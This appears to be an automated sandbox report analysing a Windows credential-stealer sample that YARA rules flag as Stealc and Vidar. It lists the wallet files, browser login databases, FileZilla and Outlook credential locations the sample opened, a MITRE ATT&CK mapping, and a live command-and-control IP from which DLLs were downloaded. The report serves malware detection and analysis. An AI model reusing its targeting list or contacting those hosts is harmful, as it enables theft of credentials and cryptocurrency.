Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2613572766.0000000001212000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 2232, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.a30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2156925914.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2612006536.0000000000A31000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2613572766.000000000119E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2232, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2232, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F0C40 sqlite3_bind_zeroblob,	0_2_6C7F0C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F0D60 sqlite3_bind_parameter_name,	0_2_6C7F0D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C718EA0 sqlite3_clear_bindings,	0_2_6C718EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C7F0B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C716410 bind,WSAGetLastError,	0_2_6C716410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C716070 PR_Listen,	0_2_6C716070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C71C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71C030 sqlite3_bind_parameter_count,	0_2_6C71C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7160B0 listen,WSAGetLastError,	0_2_6C7160B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A22D0 sqlite3_bind_blob,	0_2_6C6A22D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7163C0 PR_Bind,	0_2_6C7163C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	3 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Process Injection	2 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	24 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	24 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	42%	ReversingLabs	Win32.Trojan.Generic
file.exe	43%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
chrome.cloudflare-dns.com	0%	Virustotal	Browse
plus.l.google.com	0%	Virustotal	Browse
play.google.com	0%	Virustotal	Browse
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	0%	Virustotal	Browse
sb.scorecardresearch.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://anglebug.com/4633	0%	URL Reputation	safe
https://anglebug.com/7382	0%	URL Reputation	safe
http://polymer.github.io/AUTHORS.txt	0%	URL Reputation	safe
https://ogs.google.com/widget/callout?eom=1	0%	URL Reputation	safe
http://anglebug.com/6929	0%	URL Reputation	safe
https://anglebug.com/7246	0%	URL Reputation	safe
https://anglebug.com/7369	0%	URL Reputation	safe
https://anglebug.com/7489	0%	URL Reputation	safe
https://drive-daily-2.corp.google.com/	0%	URL Reputation	safe
http://polymer.github.io/PATENTS.txt	0%	URL Reputation	safe
https://issuetracker.google.com/161903006	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://drive-daily-5.corp.google.com/	0%	URL Reputation	safe
http://anglebug.com/4722	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
http://anglebug.com/3502	0%	URL Reputation	safe
http://anglebug.com/3623	0%	URL Reputation	safe
http://anglebug.com/3625	0%	URL Reputation	safe
http://anglebug.com/3624	0%	URL Reputation	safe
http://anglebug.com/3862	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
http://anglebug.com/4836	0%	URL Reputation	safe
https://issuetracker.google.com/issues/166475273	0%	URL Reputation	safe
http://anglebug.com/3970	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
http://polymer.github.io/CONTRIBUTORS.txt	0%	URL Reputation	safe
http://anglebug.com/5901	0%	URL Reputation	safe
http://anglebug.com/3965	0%	URL Reputation	safe
https://anglebug.com/7161	0%	URL Reputation	safe
https://anglebug.com/7162	0%	URL Reputation	safe
http://anglebug.com/5906	0%	URL Reputation	safe
http://anglebug.com/2517	0%	URL Reputation	safe
http://anglebug.com/4937	0%	URL Reputation	safe
https://issuetracker.google.com/166809097	0%	URL Reputation	safe
http://anglebug.com/3832	0%	URL Reputation	safe
https://drive-daily-0.corp.google.com/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	0%, Virustotal, Browse	unknown
plus.l.google.com	216.58.212.174	true	false	0%, Virustotal, Browse	unknown
play.google.com	142.250.185.110	true	false	0%, Virustotal, Browse	unknown
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	0%, Virustotal, Browse	unknown
sb.scorecardresearch.com	18.244.18.32	true	false	0%, Virustotal, Browse	unknown
www.google.com	142.250.185.132	true	false		unknown
googlehosted.l.googleusercontent.com	142.250.186.65	true	false		unknown
sni1gl.wpc.nucdn.net	152.199.21.175	true	false		unknown
clients2.googleusercontent.com	unknown	unknown	false		unknown
bzib.nelreports.net	unknown	unknown	false		unknown
assets.msn.com	unknown	unknown	false		unknown
c.msn.com	unknown	unknown	false		unknown
ntp.msn.com	unknown	unknown	false		unknown
apis.google.com	unknown	unknown	false		unknown
api.msn.com	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true	unknown
https://bzib.nelreports.net/api/report?cat=bingbusiness	false	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730333926497&w=0&anoncknm=app_anon&NoResponseBody=true	false	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	unknown
http://185.215.113.206/746f34465cf17784/sqlite3.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/6c4adf523b719729.phpre	file.exe, 00000000.00000002.2613572766.0000000001212000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 00000002.00000002.2364525886.00001FDC00744000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4633	chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7382	chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		unknown
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000002.00000003.2238786237.00001FDC0106C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2239697124.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2239657133.00001FDC00A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2241799437.00001FDC010C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238804311.00001FDC00F14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2241135564.00001FDC00540000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2242028487.00001FDC0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238765667.00001FDC0101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2416059525.00001FDC0098B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2239738823.00001FDC00F5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238906062.00001FDC01038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238601607.00001FDC00EF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2239620080.00001FDC00CA0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/	chrome.exe, 00000002.00000002.2356464857.00001FDC0030C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.8.dr	false		unknown
https://docs.google.com/document/?usp=installed_webapptx	chrome.exe, 00000002.00000002.2416542194.00001FDC00A18000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/presentation/ogl	chrome.exe, 00000002.00000002.2420926351.00001FDC0129C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2267870499.00001FDC0129C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://unisolated.invalid/	chrome.exe, 00000002.00000002.2416059525.00001FDC00970000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000002.00000003.2241799437.00001FDC010C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2241135564.00001FDC00540000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2242028487.00001FDC0120C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.google.com/?lfhs=2ation.Result	chrome.exe, 00000002.00000002.2418810827.00001FDC00D88000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000002.00000003.2260106729.00001FDC01438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421385411.00001FDC01478000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/6929	chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dllr	file.exe, 00000000.00000002.2613572766.00000000011F6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://docs.googl0	chrome.exe, 00000002.00000002.2356464857.00001FDC0030C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7246	chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7369	chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365339506.00004F7C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7489	chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365339506.00004F7C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive-daily-2.corp.google.com/	chrome.exe, 00000002.00000003.2229842565.00001FDC00438000.00000004.00000800.00020000.00000000.sdmp, manifest.json.8.dr	false	URL Reputation: safe	unknown
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000002.00000003.2238786237.00001FDC0106C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2239697124.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2239657133.00001FDC00A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2241799437.00001FDC010C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238804311.00001FDC00F14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2241135564.00001FDC00540000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2242028487.00001FDC0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238765667.00001FDC0101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2416059525.00001FDC0098B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2239738823.00001FDC00F5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238906062.00001FDC01038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238601607.00001FDC00EF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2239620080.00001FDC00CA0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://issuetracker.google.com/161903006	msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2349608930.0000000001253000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2416932689.00001FDC00ADC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
